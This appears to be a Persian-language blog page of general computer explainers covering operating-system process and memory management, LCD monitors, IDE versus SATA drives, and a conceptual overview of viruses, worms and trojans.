ساده ترين واحد نرم افزاری که سيستم عامل بمنظور زمانبندی پردازنده با آن درگير خواهد شد ، يک پردازه و يا يک Thread خواهد بود. موقتا" می توان يک پردازه را مشابه يک برنامه در نظر گرفت ، در چنين حالتی مفهوم فوق ( پردازه ) ، بيانگر يک تصوير واقعی از نحوه پردازش های مرتبط با سيستم عامل و سخت افزار نخواهد بود. برنامه های کامپيوتری ( نظير واژه پردازها ، بازيهای کامپيوتری و ...) در حقيقت خود يک پردازه می باشند ، ولی برنامه های فوق ممکن است از خدمات چندين پردازه ديگر استفاده نمايند. مثلا" ممکن است يک برنامه از پردازه ای بمنظور برقراری ارتباط با ساير دستگاههای موجود در کامپيوتر استفاده نمايد. پردازه های فراوان ديگری نيز وجود دارد که با توجه به ماهيت عمليات مربوطه ، بدون نياز به محرک خارجی ( نظير يک برنامه ) فعاليت های خود را انجام می دهند. يک پردازه ، نرم افزاری است که عمليات خاص و کنترل شده ای را انجام می دهد. کنترل يک پردازه ممکن است توسط کاربر ، ساير برنامه های کاربردی و يا سيستم عامل صورت پذيرد. سيستم عامل با کنترل و زمانبندی مناسب پردازه ها زمينه استفاده از پردازنده را برای آنان ، فراهم می نمايد. در سيستم های " تک - کاره " ، سيستم زمانبندی بسيار روشن و مشخص است . در چنين مواردی، سيستم عامل امکان اجرای برنامه را فراهم و صرفا" در زمانيکه کاربر اطلاعاتی را وارد و يا سيستم با وقفه ای برخورد نمايد ، روند اجراء متوقف خواهد شد. وقفه ، سيگنال های خاص ارسالی توسط نرم افزار و يا سخت افزار برای پردازنده می باشند. در چنين مواردی منابع صادر کننده وقفه درخواست برقراری يک ارتباط زنده با پردازنده برای اخذ سرويس و يا ساير مسائل بوجود آمده ، را می نمايند. در برخی حالات سيستم عامل پردازه ها را با يک اولويت خاص زمانبندی می نمايد . در چنين حالتی هر يک از پردازه ها با توجه به اولويت نسبت داده شده به آنان ، قادر به استفاده از زمان پردازنده خواهند بود. در اينچنين موارد ، در صورت بروز وقفه ، پردازنده آنها را ناديده گرفته و تا زمان عدم تکميل عمليات مورد نظر توسط پردازنده ، فرصت پرداختن به وقفه ها وجود نخواهد داشت . بديهی است با توجه به نحوه برخورد پردازنده ( عدم توجه به وقفه ها ) ، در سريعترين زمان ممکن عمليات و فعاليت جاری پردازنده به اتمام خواهد رسيد. برخی از وقفه ها با توجه به اهميت خود ( نظير بروز اشکال در حافظه و يا ساير موارد مشابه ) ، قابل اغماص توسط پردازنده نبوده و می بايست صرفنظر از نوع و اهميت فعاليت جاری ، سريعا" به وقفه ارسالی پاسخ مناسب را ارائه گردد. پردازنده ، با توجه به سياست های اعمال شده سيستم عامل و بر اساس يک الگوريتم خاص ، در اختيار پردازه های متفاوت قرار خواهد گرفت . در چنين مواردی پردازنده مشغول بوده و برای اجراء ، پردازه ای را در اختيار دارد. در زمانيکه پردازنده درگير يک پردازه است ، ممکن است وقفه هائی از منابع متفاوت نرم افزاری و يا سخت افزاری محقق گردد. در چنين وضعيتی با توجه به اهميت و جايگاه يک وقفه ، پردازنده برخی از آنها را ناديده گرفته و همچنان به فعاليت جاری خود ادامه داده و در برخی موارد با توجه به اهميت وقفه ، فعاليت جاری متوقف و سرويس دهی به وقفه آغاز خواهد شد. در سيستم های عامل " تک - کاره " ، وجود وقفه ها و نحوه مديريت آنها در روند اجرای پردازه ها تاثير و پيچيدگی های خاص خود را از بعد مديريتی بدنبال خواهد داشت . در سيستم های عامل |"چند - کاره " عمليات بمراتب پيچيده تر خواهد بود. در چنين مواردی می بايست اين اعتقاد بوجود آيد که چندين فعاليت بطور همزمان در حال انجام است . عملا" پردازنده در هر لحظه قادر به انجام يک فعاليت است و بديهی است رسيدن به مرز اعتقادی فوق ( چندين فعاليت بطور همزمان ) مستلزم يک مديريت قوی و طی مراحل پيچيده ای خواهد بود. در چنين حالتی لازم است که پردازنده در مدت زمان يک ثانيه هزاران مرتبه از يک پردازه به پردازه ه ديگر سوئيچ تا امکان استفاده چندين پردازه از پردازنده را فراهم نمايد . در ادامه نحوه انجام عمليات فوق ، تشريح می گردد :
تمام اطلاعات مورد نياز بمنظور مديريت يک پردازه در ساختمان داده ای خاص با نام PCB)Process Control Block) ، نگهداری می گردد. پردازنده در زمان سوئيچ بين پردازه ها ، از آخرين وضعيت هر پردازه با استفاده از اطلاعات ذخيره شده در PCB آگاهی پيدا کرده و در ادامه زمينه اجرای پردازه مورد نظر بر اساس تعداد سيکل های در نظر گرفته شده فراهم خواهد شد. برای هر پردازه يک PCB ايجاد و اطلاعات زير در آن ذخيره خواهد گرديد :
هر زمان که اطلاعات مربوط به پردازه ای تغيير يابد ، ( پردازه از حالت "آماده " تبديل به حالت "اجراء " و يا از حالت " اجراء " به حالت "انتظار" و يا "آماده " سوئيچ نمايد ) اطلاعات ذخيره شده در PCB استفاده و بهنگام خواهند شد. عمليات جايگزينی پردازها، بدون نظارت و ارتباط مستقيم کاربر انجام و هر پردازه به ميزان کافی از زمان پردازنده برای اتمام عمليات خود استفاده خواهد کرد. در اين راستا ممکن است ، کاربری قصد اجرای تعداد بسيار زيادی از پردازه ها را بسورت همزمان داشته باشد. در چنين مواردی است ، پردازنده خود نيازمند استفاده از چندين سيکل زمانی برای ذخيره و بازيابی اطلاعات مربوط به هر يک از پردازه ها خواهد بود .در صورتيکه سيستم عامل با دقت طراحی نشده باشد و يا پردازه های زيادی فعاليت خود را آغاز کرده باشند ، مدت زمان زيادی از پردازنده صرف انجام عمليات سوئيچينگ بين پردازها شده و عملا" در روند اجرای پردازها اختلال ايجاد می گردد. وضعيت بوجود آمده فوق را Thrashing می گويند. در چنين مواردی کاربر می بايست نسبت به غيرفعال نمودن برخی از پردازه ها اقدام تا سيستم مجددا" در وضعيت طبيعی قرار گيرد. يکی از روش هائی که طراحان سيستم عامل از آن استفاده تا امکان ( شانس) تحقق Thrashing را کاهش دهند ، کاهش نياز به پردازه های جديد برای انجام فعاليت های متفاوت است . برخی از سيستم های عامل ازيک " پردازه -lite " با نام Thread استفاده می نمايند. Thread از لحاظ کارآئی همانند يک پردازه معمولی رفتار نموده ولی نيازمند عمليات متفاوت ورودی و خروجی و يا ايجاد ساختمان داده PCB مشابه يک پردازه عادی نخواهد بود. يک پردازه ممکن است باعث اجرای چندين Threads و يا ساير پردازه های ديگر گردد. يک Thread نمی تواند باعث اجرای يک پردازه گردد. تمام موارد اشاره شده در رابطه با زمانبندی با فرض وجود يک پردازنده مطرح گرديده است . در سيستم هائی که دارای دو و يا بيش از دو پردازنده می باشند ، سيستم عامل حجم عمليات مربوط به هر گردازنده را تنظيم و مناسب ترين روش اجراء برای يک پردازه در نظر گرفته شود . سيستم های عامل نامتقارن ، از يک پردازنده برای انجام عمليات مربوط به سيستم عامل استفاده و پردازه های مربوط به برنامه های کاربردی را بين ساير پردازه ها تقسيم می نمايند. سيستم های عامل متقارن ، عمليات مربوط به خود و عمليات مربوط به ساير پردازه ها را بين پردازه های موجود تقسيم می نمايند. در اين راستا سعی می گردد که توزيع عمليات برای هر يک از پردازه ها بصورت متعادل انجام گردد. مديريت حافظه و فضای ذخيره سازی سيستم عامل در رابطه با مديريت حافظه دو عمليات اساسی را انجام خواهد داد :
سيسم های عامل در ابتدا می بايست محدوده های حافظه مورد نياز هر نوع نرم افزار و برنامه های خاص را فراهم نمايند. مثلا" فرض کنيد سيستمی دارای يک مگابايت حافظه اصلی باشد . سيستم عامل کامپيوتر فرضی ، نيازمند 300 کيلو بايت حافظه است . سيستم عامل در بخش انتهائی حافظه مستقر و بهمراه خود درايورهای مورد نياز بمنظور کنترل سخت افزار را نيز مستقر خواهد کرد. درايورهای مورد نظر به 200 کيلو بايت حافظه نياز خواهند داشت . بنابراين پس از استقرار سيستم عامل بطور کامل در حافظه ، 500 کيلو بايت حافظه باقيمانده و از آن برای پردازش برنامه های کاربردی استفاده خواهد شد. زمانيکه برنامه های کاربردی در حافظه مستقر می گردند ، سازماندهی آنها در حافظ بر اساس بلاک هائی خواهد بود که اندازه آنها توسط سيستم عامل مشخص خواهد شد. در صورتيکه اندازه هر بلاک 2 کيلوبايت باشد ، هر يک از برنامه های کاربردی که در حافظه مستقر می گردنند ، تعداد زيادی از بلاک های فوق را (مضربی از دو خواهد بود) ، بخود اختصاص خواهند داد. برنامه ها در بلاک هائی با طول ثابت مستقر می گردند. هر بلاک دارای محدوده های خاص خود بوده که توسط کلمات چهار و يا هشت بايت ايجاد خواهند شد. بلاک ها و محدو ده های فوق اين اطمينان را بوجود خواهند آورد که برنامه ها در محدوده های متداخل مستقر نخواهند شد. پس از پر شدن فضای 500 کيلوبايت اختصاصی برای برنامه های کاربردی ، وضعيت سيستم به چه صورت تبديل خواهد گرديد؟ در اغلب کامپيوترها ، می توان ظرفيت حافظه را ارتقاء و افزايش داد. مثلا" می توان ميزان حافظه RAM موجود را از يک مگابايت به دو مگابايت ارتقاء داد. روش فوق يک راهکار فيزيکی برای افزايش حافظه بوده که در برخی موارد دارای چالش های خاص خود می باشد. در اين زمينه می بايست راهکارهای ديگر نيز مورد بررسی قرار گيرند. اغلب اطلاعات ذخيره شده توسط برنامه ها در حافظه ، در تمام لحظات مورد نياز نخواهد نبود. پردازنده در هر لحظه قادر به دستيابی به يک محل خاص از حافظه است . بنابراين اکثر حجم حافظه در اغلب اوقات غير فابل استفاده است . از طرف ديگر با توجه به اينکه فضای ذخيره سازی حافظه ها ی جانبی نظير ديسک ها بمراتب ارزانتر نسبت به حافظه اصلی است ، می توان با استفاده از مکانيزمهائی اطلاعات موجود در حافظه اصلی را خارج و آنها را موقتا" بر روی هارد ديسک ذخيره نمود. بدين ترتيب فضای حافظه اصلی آزاد و در زمانيکه به اطلاعات ذخيره شده بر روی هارد ديسک نياز باشد ، مجددا" آنها را در حافظه مستقر کرد. روش فوق " مديريت حافظه مجازی " ناميده می شود. حافطه های ذخيره سازی ديسکی ، يکی از انواع متفاوت حافظه موجود بوده که می بايست توسط سيستم عامل مديريت گردد. حافطه های با سرعت بالای Cache ، حافظه اصلی و حافظه های جانبی نمونه های ديگر از حافظه بوده که توسط سيستم عامل مديريت گردند. مديريت دستگاهها دستيابی سيستم عامل به سخت افزارهای موجود از طريقه برنامه های خاصی با نام "درايور" انجام می گيرد. درايور مسئوليت ترجمه بين سيگنال های الکترونيکی زير سيستم های سخت افزاری و زبانهای برنامه نويسی سطح بالا و سيستم عامل و برنامه های کاربردی را برعهده خواهد داشت . مثلا" درايورها اطلاعاتی را که سيستم عامل بصورت يک فايل تعريف و در نظر می گيرد را اخذ و آنها را به مجموعه ای از بيت ها برای ذخيره سازی بر روی حافظه های حانبی و يا مجموعه ای از پالس ها برای ارسال بر روی چاپگر ، ترجمه خواهد کرد. با توجه به ماهيت عملکرد عناصر سخت افزاری و وجود تنوع در اين زمينه ، درايورهای مربوطه نيز دارای روش های متعدد بمنظور انجام وظايف خود می باشند. اکثر درايورها در زمانيکه به خدمات دستگاه مورد نظر نياز باشد ، استفاده شده و دارای پردازش های يکسانی در زمينه سرويس دهی خواهند بود. سيستم عامل بلاک های با اولويت بالا را به درايورها اختصاص داده تا از اين طريق منابع سخت افزاری قادر به آزادسازی سريع بمنظور استفاده در آينده باشند. يکی از دلايلی که درايورها از سيستم عامل تفکيک شده اند ، ضرورت افزودن عمليات و خواسته ای حديد برای درايورها است . در چنين حالتی ضرورتی بر اصلاح و يا تغيير سيستم عامل نبوده و با اعمال تغييرات لازم در درايورها می توان همچنان از قابليت های آنها در کنار سيستم عامل موجود استفاده کرد. مديريت عمليات ورودی و خروجی در کامپيوتر مستلزم استفاده و مديريت " صف ها " و " بافرها " است . بافر ، مکان های خاصی برای ذخيره سازی اطلاعات بصورت مجموعه ای از بيت ها ی ارسالی توسط دستگاهها ( نظير صفحه کليد و يا يک پورت سريال ) و نگهداری اطلاعات فوق و ارسال آنها برای پردازنده در زمان مورد نظر و خواسته شده است . عمليات فوق در موارديکه چندين پردازنده در وضعيت اجراء بوده و زمان پردازنده را بخود اختصاص داده اند ، بسيار حائز اهميت است . سيستم عامل با استفاده از يک بافر قادر به دريافت اطلاعات ارسالی توسط دستگاه مورد نظر است . ارسال اطلاعات ذخيره شده برای پردازنده پس از غير فعال شدن پردازه مربوطه ، متوقف خواهد شد. در صورتيکه مجددا" پردازه به اطلاعات ورودی نياز داشته باشد ، دستگاه فعال و سيستم عامل دستوراتی را صادر تا بافر اطلاعات مربوطه را ارسال دارد. فرآيند فوق اين امکان را به صفحه کليد يا مودم خواهد داد تا با سرعت مناسب خدمات خود را همچنان ادامه دهند ( ولواينکه پردازنده در آن زمان خاص مشغول باشد). مديريت تمام منابع موجود در يک سيستم کامپيوتری ، يکی از مهمترين و گسترده ترين وظايف يک سيستم عامل است . ارتباط سيستم با دنيای خارج اينترفيس برنامه ها سيستم عامل در رابطه با اجرای برنامه های کامپيوتری خدمات فراوانی را ارائه می نمايد. برنامه نويسان و پياده کنندگان نرم افزار می توانند از امکانات فراهم شده توسط سيستم های عامل استفاده و بدون اينکه نگران و يا درگير جزئيات عمليات در سيستم باشند ، از خدمات مربوطه استفاده نمايند. برنامه نويسان با استفاده از API)Application program interface) ، قادر به استفاده از خدمات ارائه شده توسط سيستم های عامل در رابطه با طراحی و پياده سازی نرم افزار می باشند. در ادامه بمنظور بررسی جايگاه API به بررسی مثالی پرداخته خواهد شد که هدف ايجاد يک فايل بر روی هارد ديسک برای ذخيره سازی اطلاعات است . برنامه نويسی ، برنامه ای را نوشته که بکمک آن قادر به ذخيره سازی داده های ارسالی توسط يک دستگاه کنترل علمی است . سيستم عامل يک تابع API با نام MakeFile را بمنظور ايجاد فايل در اختيار برنامه نويس قرار می دهد. برنامه نويس در زمان نوشتن برنامه از دستوری مشابه زير استفاده می نمايد : MakeFile [1,%Name,2] دستورالعمل فوق به سيستم عامل خواهد گفت که فايلی را ايجاد که شيوه دستيابی به داده های آن بصورت تصادفی ( عدد يک بعنوان اولين پارامتر ) ، دارای نام مشخص شده توسط کاربر (Name%) و دارای طولی متغير است . ( عدد 2 ، بعنوان سومين پارامتر) سيستم عامل دستور فوق را بصورت زير انجام خواهد داد : ● سيستم عامل درخواستی برای هارد ارسال تا اولين مکان آزاد قابل استفاده مشخص گردد. ● با توجه به اطلاعات ارسالی ، سيستم عامل يک entry در سيستم فايل مربوطه ايجاد و ابتدا و انتهای فايل ، نام فايل ، نوع فايل ، تاريخ و زمان ايجاد فايل و ساير اطلاعات ضروری را ذخيره خواهد کرد. ● سيستم عامل اطلاعاتی را در ابتدای فايل بمنظور مشخص کردن فايل ، تنظيمات مربوط به شيوه دستيابی به فايل و ساير اطلاعات مورد نياز را خواهد نوشت . در چنين حالتی برنامه نويس از تابع فوق برای ايجاد و ذخيره سازی فايل استفاده نموده و ضرورتی بر نوشتن کدها ، نوع داده ها و کدهای پاسخ برای هر نوع هارد ديسک نخواهد بود. سيستم عامل از امکانات درايورها استفاده و درايورها مسئول برقراری ارتباط با منابع سخت افزاری خواهند بود. در چنين حالتی برنامه نويس بسادگی از تابع مورد نظر استفاده و ادامه عمليات توسط سيستم عامل انجام خواهد شد. امکانات ارائه شده توسط سيستم های عامل در قالب مجموعه ای از توابع و امکانات API يکی از موارد بسيار مهم استفاده از سيستم عامل از ديدگاه طراحان و پياده کنندگان نرم افزار است . اينترفيس کاربر API يک روش يکسان برای برنامه های کامپيوتری بمنظور استفاده از منابع موجود در يک سيستم کامپيوتری را فراهم می نمايد. بخش رابط کاربر (UI) ، يک ساختار مناسب ارتباطی بين کاربر و کامپيوتر را فراهم می آورد. اکثر سيستم های عامل از رابط های گرافيکی در اين زمينه استفاده می نمايند. بخش رابط کاربر هر سيستم عامل شامل يک و يا مجموعه ای از برنامه های کامپيوتری است که بصورت يک لايه در بالاترين سطح يک سيستم عامل و در ارتباط با کاربر مستقر می گردند. برخی از سيستم های عامل از رابط های گرافيکی ( نظير ويندوز ) و برخی ديگر از رابط های مبتنی بر متن ( نظير سيستم عامل DOS ) استفاده می نمايند. |
نظرات ()|
|
|
ليست قطعات كامپيوتر آنچه در زير مشاهده مي كنيد يك چك ليست از از قطعاتي است كه معمولاً در يك كامپيوتر يافت مي شود. در مقابل قطعاتي كه بدون آنها هم كامپيوتر بدون مشكل كار مي كند، در داخل پرانتز نوشته شده است انتخابي. موفق باشيد.
|
نظرات ()اساس كار مانيتورهاي LCD :
اساساً سه تكنولوژي كريستال مايع در مانيتورهاي LCD استفاده شده است كه عبارتند از TN+film , IPS ,MVA مهم نيست كه از كدام تكنولوژي استفاده شود همه آنها از يك اساس پيروي مي كنند.
يك يا چند لامپ نئون روشنايي صفحه را تأمين مي كنند براي مدلهاي ارزانتر يك لامپ نئون استفاده شده است اما در مدلهاي گرانتر ممكن است تا چهار لامپ يا حتي بيشتر پيدا كنيد.
تعداد لامپهاي نئون تأثيري در كيفيت تصوير ندارند. در عوض لامپ لامپ دوم به عنوان يك پشتيبان عمل مي كند اگر براي لامپ اول مشكلي پيش بيايد. در واقع عمر مفيد مانيتور افزايش مي يابد از آنجا كه يك لامپ نئون معمولاً 50000 ساعت كار ميكند در حاليكه وسايل الكترونيكي 100000 تا 150000 ساعت كار مي كنند.
براي اينكه از يكنواختي صفحه تصوير اطمينان حاصل شود نور بوسيله يك سيستم منعكس كننده شدت يكساني پيدا مي كند اگر چه ممكن است در نگاه اول به نظر نرسد ولي عملكرد اين صفحات فوق العاده پيچيده است در حقيقت 2 پانل وجود دارد يكي در هر طرف ساب پيكسلها كه هر كدام با يك فيلتر قرمز سبز آبي پوشش داده شده است در يك مانيتور 15 اينچ تعداد ساب پيكسلها به "1024x768x3=2359296" ميرسد هر سلول RGB بوسيله يك ترانزيستور كه ولتاژ مختص به خودش را دارد كنترل مي شود و اين ولتاژ كه در محدوده بزرگي تغيير مي كند باعث مي شود كه كريستالهاي مايع در هر ساب پيكسل در يك زاويه خاص بچرخند كه اين زاويه تعداد نورهاي عبوري از هر ساب پيكسل را تعيين مي كند ( منظور سه نور قرمز سبز و آبي است ). كه در حقيقت سبب بوجود آمدن تصوير صفحه نمايش مي شود. هدف نهايي كريستالها منحرف كردن نور براي عبور از ميان فيلترهاي پلاريزه است قبل از اينكه ديده شود اگر كريستالها همه در جهت فيلتر قرار گرفته باشند نور از آن عبور مي كنند و برعكس اگر همه آنها عمود بر فيلتر قرار گرفته باشند صفحه نمايش سياه باقي مي ماند.
نظرات ()|
SATA و IDE چه هستند؟ تكنولوژي ديسك سخت ( HARD DRIVE ) بر پايه پروسس موازي اطلاعات عمل مي كنند و بدين معناست كه اطلاعات به صورت بسته هايي به روشهاهي مختلف ( رندوم ) به باس اطلاعاتي فرستاده مي شوند. اطلاعات از ديسك سخت در فاصله هاي زماني كاملاً تصادفي مي آيند و وارد باس اطلاعاتي شده و در نهايت به سمت مقصد نهايي مي رود. IDE مخفف Integrated Drive Electronics مي باشد همينطور كه مي دانيد رابط IDE گاهي با عنوان ATA شناخته مي شود كه مخفف AT Attachment است. اين تكنولوژي از سال 1990 به عنوان استاندارد كامپيوترهاي شخصي (PC ) براي هارد ديسك ها بوده است و اين زماني بود كه تكنولوژي مذكور جاي درايوهاي ESDI و MFM را گرفت يعني زماني كه هارد ديسك ها به طور متوسط حجمي معادل 200 مگا بايت داشتند. در سال 1990 اولين هارد ديسك يك گيگا بايتي وارد بازار شد و قيمتي برابر 200 دلار در بازار آمريكا داشت. از آن پس تا كنون IDE تكنولوژي مورد استفاده بوده زيرا هارد ديسكها را با قيمت پايين در اختيار مصرف كننده قرار مي داد، جاي كمتري مي گرفت و سرعت مناسبي داشت. همتاي IDE در آن زمان SCSI ( كه مخفف Small Computer System Interface است) بود. SCSIكمي از IDE سريعتر است اما بسيار گرانتر است. به علاوه احتياج به خريد يك ادپتر SCSI كه ارزان هم نيست احتياج داريد. به عبارت ديگر IDE بازار هارد ديسكهاي كامپيوتر هاي شخصي را در انحصار خود گرفت. آنطر كه به نظر مي رسد كارخانه هاي معتبر حداقل يك تا دو سال ديگر به توليد هارد ديسكهاي با تكنولوژي IDE ادامه دهند. هارد ديسكهاي IDE از كابلهاي ريبون پهني استفاده مي كنند كه در داخل كامپيوتر بسيار به چشم مي آيند و مرتب كردن اين كابلها در داخل كامپيوتر خود هنري است. تكنولوژي هارد ديسك هاي ساتا ( SATA ) بر اساس پردازش اطلاعات متوالي ( سريال ) است. يعني انتقال اطلاعات از هارد ديسك به باس ديتا و در جهت عكس به طور منظم و در دورهاي زماني مشخص انجام مي گيرد. هارد ديسكهاي ساتا از كابلهاي ريبون با پهناي كمتر استفاده مي كنند كه براي كساني كه آنرا اسمبل مي كنند باعث بسي خوشبختي است. اين كابلهاي نازك داراي كانكتورهاي بست داري هستند كه كار كردن با آنها را ساده تر مي كند. هارد ديسكهاي ساتا اطلاعات را با سرعت متوسط 150Mb بر ثانيه انتقال مي دهند. اما مقاله هاي زيادي روي اينترنت در مورد هارد ديسكهاي با سرعت 3Gb در ثانيه خواهيد يافت. اما بياييد اين دو را در عمل با يكديگر مقايسه كنيم و ببينيم چرا صنعت در آينده تكنولوژي SATA را بر خواهد گزيد. تا كنون در مقايسه دو هارد ديسك به قيمت هم توجه داشتيم اما حالا بدون در نظر گرفتن قيمت و تكنولوژي مرسوم كارايي را بررسي مي كنيم.آزمايش از اين قرار بود. يك كامپيوتر قديمي را به يك هارد SATA مجهز كرديم. و بعد از آن دو كامپيوتر امروزي ( پنتيوم 4 ) با سرعت متعارف را با هارد ديسك هايIDE براي مقايسه انتخاب كرديم. آزمايش ها و نتايج به قرار زير بودند. آزمايش 1 آين آزمايش يك انتقال فايل معمولي بود. براي اينكه در هر سه كامپيوتر انتقال اطلاعات كاملاً مشابه باشد در ويندوز XP شاخه : c:\windows\system32 انتخاب شد در يك سيستم كه در آن ويندوز XP اجرا مي شود اين شاخه در حدود 330 مگابايت حجم دارد. و حدود 2000 فايل در آن وجود دارد. يك فولدر جدير در درايو C (پارتيشن C ) از هارد ديسك ايجاد شد سپس در DOS فرمان copy>c:>windows> system32>*.* اجرا شد كه همانطور كه مي دانيد اين دستور همه فايلهاي داخل شاخه system32 را در فولدر جديد كپي مي كند و نتايج جالب بدست آمده آز اين قرار بود:
آزمايش 2 دومين آزمايش زمان بوت شدن است كه زمانهايي كه مربوط به سخت افزار است حذف شده است. يعني از لحظه اي كه تصوير آغازين ويندوز به نمايش در مي آيد تا لحظه اي كه دسك تاپ كامپيوتر به حالت عادي در مي آيد زمان اندازه گرفته شد نتايج به قرار زير است
توجه: در اين تستها به كارخانه سازنده ديسكها اشاره نشده است مطمئناً با در نظر گرفتن اين فاكتور تغيير خواهد كرد ولي هر دو مدل IDE و SATA از هارد ديسك ساخت يك كارخانه استفاده شده است. |
نظرات ()ويروس های کامپيوتری از جمله موارد اسرارآميز و مرموز در دنيای کامپيوتر بوده که توجه اغلب کاربران را بخود جلب می نمايد. ويروس های کامپيوتری بخوبی قدرت آسيب پذيری سيستم های اطلاعاتی مبتنی بر کامپيوتر را به ما نشان می دهند. يک ويروس مدرن و پيشرفته قادر به بروز آسيب های کاملا" غيرقابل پيش بينی در اينترنت است . مثلا" ويروس مليزا (Melissa) ، که در سال 1999 متداول گرديد ، از چنان قدرت و توانی برخوردار بود که شرکت های بزرگی نظير مآيکروسافت و ساير شرکت های بزرگ را مجبور به خاموش نمودن کامل سيستم های پست الکترونيکی نمود. ويروس "ILOVEYOU" ، که در سال 2000 رايج گرديد ، باعث آسيب های فراوان در اينترنت و شبکه های کامپيوتری گرديد.
ويروس های کامپيوتری به دو گروه عمده تقسيم می گردند. گروه اول را "ويروس های سنتی " و گروه دوم را "ويروس های مبتنی بر پست الکترونيکی " می نامند. خصوصيات ، عملکرد و نحوه پيشگيری از هر يک از گروه های فوق متفاوت بوده و در اين راستا لازم است ، اطلاعات لازم در اين خصوص را کسب کرد.
انواع آلودگی
آلودگی الکترونيکی دارای اشکال منتفاوتی است . متداولترين موارد آلودگی الکترونيکی عبارتند از :
- ويروس . ويروس يک قطعه نرم افزار کوچک بوده که بر دوش يک برنامه حقيقی حمل می گردد. مثلا" يک ويروس می تواند خود را به برنامه ای نظير واژه پرداز متصل ( الحاق ) نمايد. هر مرتبه که برنامه واژه پرداز اجراء می گردد ، ويروس نيز اجراء و اين فرصت ( شانس ) را پيدا خواهد کرد که نسخه ای از خود را مجددا" توليد ( الحاق يک نسخه از خود به ساير برنامه ها ) و يا يک خرابی عظيم را باعث گردد.
- ويروس های مبتنی بر پست الکترونيکی . ويروس هائی از اين نوع از طريق پيام های پست الکترونيکی منتقل می گردند. اين نوع ويروس ها بصورت خودکار برای افراد متعدد ، پست خواهند شد. گزينش افراد برای ارسال نامه الکترونيکی بر اساس دفترچه آدرس پست الکترونيکی ، انجام می گيرد.
- کرم ها . يک کرم ، برنامه نرم افزاری کوچکی بوده که با استفاده از شبکه های کامپيوتری و حفره های امنيتی موجود ، اقدام به تکثير خود می نمايند. نسخه ای از "کرم " ، شبکه را پيمايش تا ماشين های ديگر موجود در شبکه را که دارای حفره های امنيتی می باشند ، تشخيص و نسخه ای از خود را تکثير نمايند. کرم ها با استناد به حفره های امنيتی موجود ، نسخه ای از خود را بر روی ماشين های جديد تکثير می نمايند.
- اسب های تراوا. يک اسب تراوا، نوع خاصی از برنامه های کامپيوتری می باشند . برنامه های فوق اين ادعا را دارند که قادر به انجام يک عمليات خاص می باشند ( مثلا" ادعای آنان می تواند شامل يک بازی کامپيوتری باشد ). برنامه های فوق برخلاف ادعای خود نه تنها عمليات مثبتی را انجام نخواهند داد بلکه باعث بروز آسيب های جدی پس از فراهم نمودن شرايط اجراء، می باشند. ( مثلا" ممکن است اطلاعات موجود بر روی هارد ديسک را حذف نمايند) . اسب های تراوا دارای روشی برای تکثير خود نمی باشند.
ويروس چيست ؟
ويروس های کامپيوتری بدين دليل ويروس ناميده شده اند ، چون دارای برخی وجوه مشترک با ويروس های زيست شناسی می باشند. يک ويروس کامپيوتری از کامپيوتری به کامپيوتر ديگر عبور کرده ، دقيقا" مشابه ويروس های زيست شناسی که از شخصی به شخص ديگری منتقل می گردند.
ويروس زيست شناسی يک موجود زنده نيست . ويروس بخشی از DNA بوده و داخل يک روکش حفاظتی قرار می گيرد . ويروس بر خلاف سلول ، قادر به انجام عمليات و يا تکثير مجدد خود نمی باشد. ( ويروس زنده و در قيد حيات نمی باشد ) .يک ويروس زيست شناسی می بايست DNA خود را به يک سلول تزريق نمايد. DNA ويروسی در ادامه با استفاده از دستگاه موجود سلول ، قادر به تکثير خود می گردد. در برخی حالات ، سلول با ذرات ويروسی جديد آلوده تا زمانيکه سلول فعال و باعث رها سازی ويروس گردد.در حالات ديگر ، ذرات ويروس جديد باعث عدم رشد سلول در هر لحظه شده و سلول همچنان زنده باقی خواهد ماند.
ويروس های کامپيوتری دارای وجوه مشترک فوق می باشند. يک ويروس کامپيوتری می بايست بر دوش ساير برنامه ها و يا مستندات قرار گرفته تا در زمان لازم شرايط اجرای آن فراهم گردد.پس از اجرای يک ويروس ، زمينه آلوده نمودن ساير برنامه ها و يا مستندات نيز فراهم می گردد.
کرم چيست ؟
کرم ، يک برنامه کامپيوتری است که قابليت تکثير خود از ماشينی به ماشين ديگر را دارا است . شبکه های کامپيوتری بستر مناسب برای حرکت کرمها و آلوده نمودن ساير ماشين های موجود در شبکه را فراهم می آورند. با استفاده از شبکه های کامپيوتری ، کرمها قادر به تکثير باورنکردنی خود در اسرع زمان می باشند. مثلا" کرم "Code Red" ، که در سال 2001 مطرح گرديد ، قادر به تکثير خود به ميزان 250.000 مرتبه در مدت زمان نه ساعت بود. کرمها در زمان تکثير، زمان کامپيوتر و پهنای باند موجود را استفاده می نمايند. کرم Code Red ، در زمان تکثير به ميزان قابل ملاحظه ای سرعت ترافيک اطلاعاتی بر روی اينترنت را کند می نمود. هر نسخه از کرم فوق ، پيمايش اينترنت بمنظور يافتن سرويس دهندگان ويندوز NT و يا 2000 را آغاز می کرد. هر زمان که يک سرويس دهنده ناامن ( سرويس دهنده ای که بر روی آن آخرين نرم افزارهای امنيتی مايکروسافت نصب نشده بودند ) پيدا می گرديد ، کرم نسخه ای از خود را بر روی سرويس دهنده تکثير می کرد. نسخه جديد در ادامه عمليات پيمايش برای يافتن ساير سرويس دهندگان را آغاز می نمايد. با توجه به تعداد سرويس دهندگان ناامن ، يک کرم قادر به ايجاد صدها و هزاران نسخه از خود است .
نحوه تکثير به چه صورت است ؟
ويروس های اوليه ، کدهائی محدود بوده که به يک برنامه متداول نظير يک بازی کامپيوتری و يا يک واژه پرداز ، الحاق می گرديدند. کاربری ، يک بازی کامپيوتری آلوده را از يک BBS اخذ و آن را اجراء می نمايد. .ويروس ، بخش کوچکی از نرم افزار بوده که به يک برنامه بزرگ متصل می گردد. ويروس های فوق بگونه ای طراحی شده بودند که در زمان اجرای برنامه اصلی ، بعلت فراهم شدن شرايط مساعد ، اجراء می گرديدند. ويروس خود را بدرون حافظه منتقل و در ادامه بدنبال يافتن ساير برنامه های اجرائی موجود بر روی ديسک ، بود. در صورتيکه اين نوع برنامه ها ، پيدا می گرديدند ، کدهای مربوط به ويروس به برنامه اضافه می گرديدند. در ادامه ويروس ، برنامه واقعی را فعال می کرد. کاربران از فعال شدن و اجرای ويروس آگاه نشده و در اين راستا روش های خاصی نيز وجود نداشت. متاسفانه ويروس، نسخه ای از خود را تکثير و بدين ترتيب دو برنامه آلوده می گرديدند. در آينده با توجه به فراهم شدن شرايط لازم ، هر يک از برنامه های فوق ساير برنامه ها را آلوده کرده و اين روند تکراری ادامه می يابد.
